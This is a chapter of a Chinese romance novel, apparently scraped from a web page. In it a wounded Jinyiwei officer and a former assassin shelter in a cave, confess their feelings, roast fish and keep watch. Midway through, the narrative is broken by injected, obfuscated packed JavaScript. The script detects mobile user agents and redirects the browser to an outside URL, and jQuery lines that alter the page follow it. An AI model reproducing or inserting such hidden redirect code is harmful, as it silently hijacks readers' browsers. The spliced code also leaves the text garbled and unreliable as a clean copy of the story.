韩逯是被伤口的灼痛感唤醒的。意识从黑暗中慢慢回拢,右侧腰腹和肩后方传来绵密而尖锐的痛感,他缓缓睁开眼睛,光柱透过穹顶投下来,光柱间散乱着细微的尘土。
身旁不远处是一堆将熄未熄的火堆,不断传来热度,空气中弥漫着泥土的腥味还有淡淡的血腥味。周围的环境昏暗而陌生。
突然他闻到一丝若有似无又极为熟悉的药香味,他猛地转头,苏照月正安静地蜷缩在他身旁,双眼紧闭,双手紧紧握着他的左手。
她的脸在微弱的火光中显得异常苍白,眉头紧蹙,嘴唇干裂没有什么血色。身上只穿着一件单薄的中衣,浑身沾了不少深褐色的泥渍。韩逯这才注意到,自己躺着的地方铺着苏照月的外衫,身上盖着自己的中衣和外套。
昏迷前最后的记忆缓缓浮现,他在落入冰冷的河水中的前一秒,看到一道纤细的身影从船舷跃出。
他的心猛地一缩。是她跟着自己跳进了河里,是她将自己拖到这个地方,也是她救了自己。而此刻,她的面色看上去应该比自己好不了多少。
他费劲地翻了个身,目光在她脸上流连,从她紧蹙的眉,到她苍白的唇,以及她颈部那被芦苇划出的细小伤口。目光每扫过一处,他心中的酸楚变加重一分。他不知道自己究竟昏迷了多久,但他知道这期间她必定经历了很多,过得异常艰难。
在这之前,她或许不再抵触他的拥抱和靠近,到他从未确认真正确认过她的心意。在他看来,也许她只是习惯了,也许她需要这份庇护,也许是因为其他什么。可此刻,他确信,她心里有他。
这个认知像是一股热流席卷全身,这种感觉太奇妙了,他感觉自己的心被填得满满当当的。
他紧紧回握住她的双手,目光沉沉地看着她,想要将她的样子牢牢刻进心里。
窑洞外,暮色渐沉,光线一点点暗下去,他却觉得他心里某个地方从未如此亮过。
不知过了多久,苏照月的睫毛微微颤了下,然后她的眼睛缓缓睁开。
四目相对。
苏照月的意识几乎瞬间就回拢了,在看到他睁开的眼睛时,她的脸上带着明显的欣喜之色。
“你醒了?”她的声音因喉咙干涸而显得沙哑,“疼么?”
韩逯没有答话,只是静静地看着她,左手紧紧握着她的手轻轻摩挲,隔了好一会儿,才开口,“苏照月,为什么要跟着跳下来?”
苏照月愣了下,随即垂下眼睑,掩盖住眼中的情绪。“难道看着你淹死吗?”
“你在乎我。”韩逯的语气肯定,目光灼灼地看着她。
窑洞内瞬间安静下来,只有偶尔响起的芦苇杆燃烧的细微声响,苏照月依旧低垂着眼睑,她的手指却在韩逯说出那四个字的时候微微曲了下,然后被韩逯更紧地握住。
隔了良久,她才抬眼看他,“……是。”她终于开口,声音很轻,“我在乎。”
这句话出口的瞬间,她突然感觉到前所未有的释然,仿佛脑海中有根一直紧绷的弦突然就松了,随后,她开始觉得茫然无措。
韩逯的目光一直紧紧地锁在她身上,观察着她的反应,在她说出“我在乎”三个字之后,在她脸上刚显露出茫然之色时,他猛地伸出自己的右手,不顾肩胛处传来的刺痛,配合着左手将人拉进自己怀里,紧紧抱住。他不允许她再退缩,半步也不行。
苏照月一惊,“你的伤!?”却不敢动一下,她怕又扯到他的伤。
“死不了。”韩逯的声音因为疼痛低哑了几分,声音里却带着笑意。
“你松开,让我看看你的伤。”苏照月有些着急,声音都高了一分。
韩逯却没有要松开她的意思,反而用鼻尖蹭了蹭她的头发,“我再抱会儿……就一小会儿。”
此刻的韩逯竟然流露出一分孩子气,让苏照月有些哭笑不得,她心中担忧他的伤口有没有裂开,却又不敢挣扎,最终她还是妥协了,身体放松下来,任由他抱着。
韩逯感受到了她的顺从,将脸埋进她的发间,贪婪地汲取着属于她的气息和温度。肩胛处传来火辣辣的疼痛感,但是怀里真实而温软的触感却比任何镇痛剂都要管用。
“苏照月。”他的脸闷在她的发间,声音发闷。
“嗯?”
“……真好。”他的话没头没尾,环着她的手又收紧了些,仿佛要将她揉进骨血中一般。
苏照月先是一愣,随即反应过来他在说什么,脸颊不由自主地微微发烫。她没有再说话,只是往他怀里轻轻靠了靠,然后抬起左手,小心避开他的伤,轻轻地抱住了他的腰。
这细微的回应让韩逯微微一怔,随即轻笑出声,苏照月的脸颊更烫了。
不知过了多久,韩逯的呼吸变得有些粗重,额角渗出冷汗,苏照月立刻便察觉到了他身体的变化。
“韩逯?”她轻声唤他,“是不是伤口疼得厉害?让我看看。”
这次韩逯没有再坚持,环着她的手松了些。苏照月从他怀中退出来,撑起身体,借着微弱的光,仔细查看他肩胛处,包扎伤口的白棉布条上果然洇开了一小片鲜红的血迹。苏照月忙将白棉布拆开,看到伤口没有崩开,只是因为用力牵扯导致有些崩裂,又出了些血,她才稍稍放下心来。
“都说了让你别乱动。”她的语气中带着些责备,手上动作不停,从包裹中拿出药粉,重新敷在伤口上,然后又从自己里衣上扯下一块干净的布条,将伤口包扎好。
韩逯枕着自己的左手任她摆布,目光却一直紧紧追随着她。看着她略显紧张的神色,出声安慰道:“不碍事,皮外伤。”
“流了这么多血,毒也才刚刚压下去,这叫不碍事?”苏照月低头瞪他,“你能不能爱惜点自己?”
看着她气鼓鼓的模样,与平日清冷的她相去甚远,他的心仿佛被羽毛拂过,又痒又暖。他脸上的笑意明显,“好,以后都听你的。”
苏照月微微一怔,他的语气满是宠溺,耳根又不由自主地热了起来,本来就不多的恼意瞬间烟消云散。她避开他的目光,又检查了下他腰腹侧的伤口,确认那里没有任何问题,才彻底放下心来。
“我们在哪里?”韩逯用左手撑着身体想要起身。
苏照月忙伸手按住他,“你好好躺着。”
然后才大致将他们所在的位置还有她将他的令牌和她的发簪扔掉的事,以及白天出去寻水时碰到两条船的事告诉了他?
韩逯静静听她说完,才开口问道:“两条什么样的船?有多少人?”
苏照月仔细回忆了下,“普通样式的渔船。每条船上大概四五个人,他们沿着河岸搜寻,动作不大,看上去很是谨慎。”她微微顿了下,“应该不是锦衣卫的人。”
“嗯。”韩逯赞成,“之前汴州那边收网的时候跑了不少水匪,虽然一直在全力搜寻,但还是有不少漏网之鱼。就昨晚的情形来看,袭击我们的应该有不少水匪。你之前遇到的可能是他们。”
他又继续说道:“胡云他们应该也在找我们,不过这里隐蔽,暂时安全。而且你扔掉的东西应该会将他们引到下游去,我们就暂时在这里待几天,等到我能走动以后,再出去。”
“嗯。”苏照月点头,她侧头透过洞口芦苇的缝隙看了看外面的天色,“天快黑了,我去弄些吃的回来。你躺着别动。”
“小心些,若是找不到就先回来。”
苏照月应下,起身从包裹里拿出两根银针,然后又从角落里找出一根木棍,矮身钻出了洞口。
很快,苏照月就从河里弄上来四条鱼,处理干净用芦苇叶捆好,又从外面搜罗来一些从河里冲到滩涂上的晒得较为干燥的枯树枝和干枯的芦苇杆。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252449|190346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
回到窑洞内时,韩逯已经从地上爬起来靠坐在洞壁旁了,他左手中拿着一根棍子,正在拨弄着火堆,火堆已经快燃尽了。他见到苏照月进来,仿佛怕她责备一般,解释道:“躺着有些难受。”然后又补充道:“火堆快熄了。”
苏照月不好再多说什么,只是走过去从他手中拿走木棍,然后加了些枯树枝和芦苇杆在火堆里,很快火光又亮了起来。
韩逯靠在一旁,看着她有些生疏地开始烤鱼,想到之前在云雾山时,她说她并不会厨艺,“以前出任务时,你怎么解决吃食?”
苏照月的动作顿了一下,随后又恢复了正常,她知道他问的是在迷凰楼时。她的目光依旧落在正在烤的鱼肉上,“不吃,或者吃生的,有时条件允许,也会备些干粮。”
她的语气平静,然后将手中的鱼翻了个面,又补充了一句,“生火是件很危险的事。”
韩逯觉得心里某个地方被重重地撞了一下,钝痛不已。他十一岁进入锦衣卫,也是刀山火海过来的,但军旅生活与苏照月所经历的杀手生活还是有很大的区别,至少多数时候,他可以吃上正常的食物,能有营火取暖。而她,却独自潜伏在黑夜里,为了不暴露行踪,连火光都是一件奢侈的事。
“烤好了。”苏照月将手中一条烤得相对没有那么焦的鱼递到韩逯身前,“好像烤得有些过头了。”
韩逯接过去,手中的鱼边缘有些发黑,看着尚可,而苏照月手中那条明显比这条差了许多,一半焦黑,一半似乎还没熟。可她却毫不犹豫地咬了一口,仿佛手中的是什么珍馐美味。
“你那条还能吃吗?”
“能吃。”苏照月的语气笃定,“熟了就行。”
韩逯没在说话,而是将手中这条鱼腹部的肉撕了一大块下来递到她手边。
苏照月看着那块递过来的鱼肉,又抬头看他。
“你那条太焦了,另一半又没熟透。”
沉默片刻,苏照月还是接了。
两人就这样沉默着将四条烤得并不成功的鱼分食而完,味道不算太好,却胜过一切珍馐。
吃完鱼,苏照月将鱼骨收拾好拿到洞外掩埋掉,又检查了下周围,确认没有危险靠近这才回到洞中。她又往火堆中添了些柴,“你睡吧,我守夜。”
韩逯摇了摇头,“你更累,你睡,我看着。”
“你受了伤,失血过多,需要休息。你的伤不好,我们就没法离开这里。况且我下午已经睡过了。”苏照月看着他的眼睛,语气温和。
沉默片刻,韩逯才缓缓点头,“那你守上半夜,我守下半夜。”
“好。”
苏照月小心扶着韩逯躺下,然后自己坐在他旁边不远处,警惕着洞口的动静。
不知过了多久,她感觉到一道目光落在自己身上,转头,便看到韩逯已经醒了。
“你怎么醒了?”苏照月下意识以为他哪里不舒服,伸手便去探他的脉搏。
韩逯却握住她的手,“时辰到了。”
“还早……”她刚想反驳,就被他打断了。
“苏照月,我说了下半夜叫我。”他看着她憔悴的脸,“你也需要休息。”
“你睡吧,我守着。”韩逯语气不容置疑,然后拍了拍自己身旁的位置,“这里暖和。”
苏照月沉默片刻,还是走了过去,在他左侧躺下,韩逯将自己身上盖着的外袍挪了大半在她身上,她刚想拒绝。
“盖着,你身上凉。”
她不再拒绝,又往他身旁靠了靠,好让衣服能盖住他们两个人,然后才闭上眼睛。熟悉的味道将她整个人都包裹住,很快,她便陷入了沉睡。
韩逯侧过身,看着她的睡颜,神色柔和。
晨光熹微,一只麻雀落在窑洞门口,叽叽喳喳叫了两声,很快,不远处便传来一阵脚步声。